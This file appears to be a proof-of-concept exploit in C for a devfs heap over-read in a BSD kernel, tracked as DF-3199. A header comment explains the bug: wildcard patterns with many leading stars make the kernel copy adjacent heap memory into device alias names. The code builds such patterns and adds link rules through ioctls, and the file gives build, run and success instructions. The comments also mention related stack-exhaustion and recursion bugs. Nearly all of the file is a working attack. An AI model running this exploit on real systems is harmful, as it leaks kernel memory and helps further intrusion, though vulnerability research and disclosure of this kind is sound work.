DF-3199 / leak_linkname.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 | /* * DF-3199 - devfs_rule_create_link() heap over-read disclosed via link names. * * devfs_rule_create_link() (devfs_rules.c:237) takes the wildcard branch * whenever rule->name ends in '*'. It then strips * len = strlen(pattern_basename) - 1 * bytes from the NODE's name: * ksnprintf(buf, sizeof(buf), "%s%s", rule->linkname, node->d_dir.d_name+len); * The wildcard matcher (devfs_WildCaseCmp) allows ANY number of leading '*' * characters, so a pattern of many '*'s followed by "null" and a trailing '*' * full-matches the node "null" (4 chars) while demanding a strip of ~200 * bytes. node->d_dir.d_name is a kmalloc(namlen+1) == 5-byte allocation, so * the read starts ~195 bytes PAST the end of the chunk and copies adjacent * M_DEVFS heap contents into the new alias name, which every user can see * with ls /dev. * * Build: cc -static -O -o leak_linkname leak_linkname.c * Run : ./leak_linkname (as root) * Success: /dev/LKxx.<leaked bytes> aliases whose suffix varies across runs * and contains stale kernel heap content (prior devfs object strings). */ #include <sys/ioctl.h> #include <limits.h> #include <sys/devfs_rules.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <err.h> static int fd; static void clearall(void) { struct devfs_rule_ioctl r; memset(&r, 0, sizeof(r)); strlcpy(r.mntpoint, "*", sizeof(r.mntpoint)); if (ioctl(fd, DEVFS_RULE_CLEAR, &r) < 0) err(1, "CLEAR"); } static void applyall(void) { struct devfs_rule_ioctl r; memset(&r, 0, sizeof(r)); strlcpy(r.mntpoint, "*", sizeof(r.mntpoint)); if (ioctl(fd, DEVFS_RULE_APPLY, &r) < 0) err(1, "APPLY"); } static void resetall(void) { struct devfs_rule_ioctl r; memset(&r, 0, sizeof(r)); strlcpy(r.mntpoint, "*", sizeof(r.mntpoint)); if (ioctl(fd, DEVFS_RULE_RESET, &r) < 0) err(1, "RESET"); } int main(void) { static const int offsets[] = { 17, 20, 24, 33, 48, 64 }; /* NOTE: offsets 100/200 are deliberately omitted: patterns of ~95 * leading '*'s already blow the devfs core thread stack inside * wildCaseCmp() (DF-3202, 80 bytes/star/frame) before the link is * even created. 64 is the largest verified-safe strip on this * kernel; the leak below is fully demonstrated at these offsets. */ struct devfs_rule_ioctl r; char pat[1024]; char cmd[256]; size_t i; fd = open("/dev/devfs", O_RDWR); if (fd < 0) err(1, "open /dev/devfs"); for (i = 0; i < sizeof(offsets)/sizeof(offsets[0]); i++) { int off = offsets[i]; int stars = off - 4 - 1; /* stars + "null" + '*' => strlen-1 = off */ char lname[64]; if (stars < 1) continue; snprintf(lname, sizeof(lname), "lk/LK%d.", off); /* path-scoped: * aliases land in /dev/lk/ whose parent != root, so the rule * (name without '/') can never match them again -- prevents * the self-matching recursion of DF-3201 while leaking */ memset(pat, '*', stars); pat[stars] = '\0'; strlcat(pat, "null*", sizeof(pat)); /* len = stars+5; strip = off */ resetall(); /* clean links from previous round */ sleep(1); clearall(); memset(&r, 0, sizeof(r)); r.rule_type = DEVFS_RULE_NAME; r.rule_cmd = DEVFS_RULE_LINK; strlcpy(r.mntpoint, "*", sizeof(r.mntpoint)); strlcpy(r.name, pat, sizeof(r.name)); strlcpy(r.linkname, lname, sizeof(r.linkname)); if (ioctl(fd, DEVFS_RULE_ADD, &r) < 0) err(1, "ADD off=%d", off); applyall(); sleep(2); snprintf(cmd, sizeof(cmd), "ls -l /dev/lk/ 2>/dev/null || echo \"no alias for off=%d\"", off); printf("=== strip offset %+d (pattern %zu chars) ===\n", off, strlen(pat)); fflush(stdout); system(cmd); fflush(stdout); } printf("done\n"); return 0; } |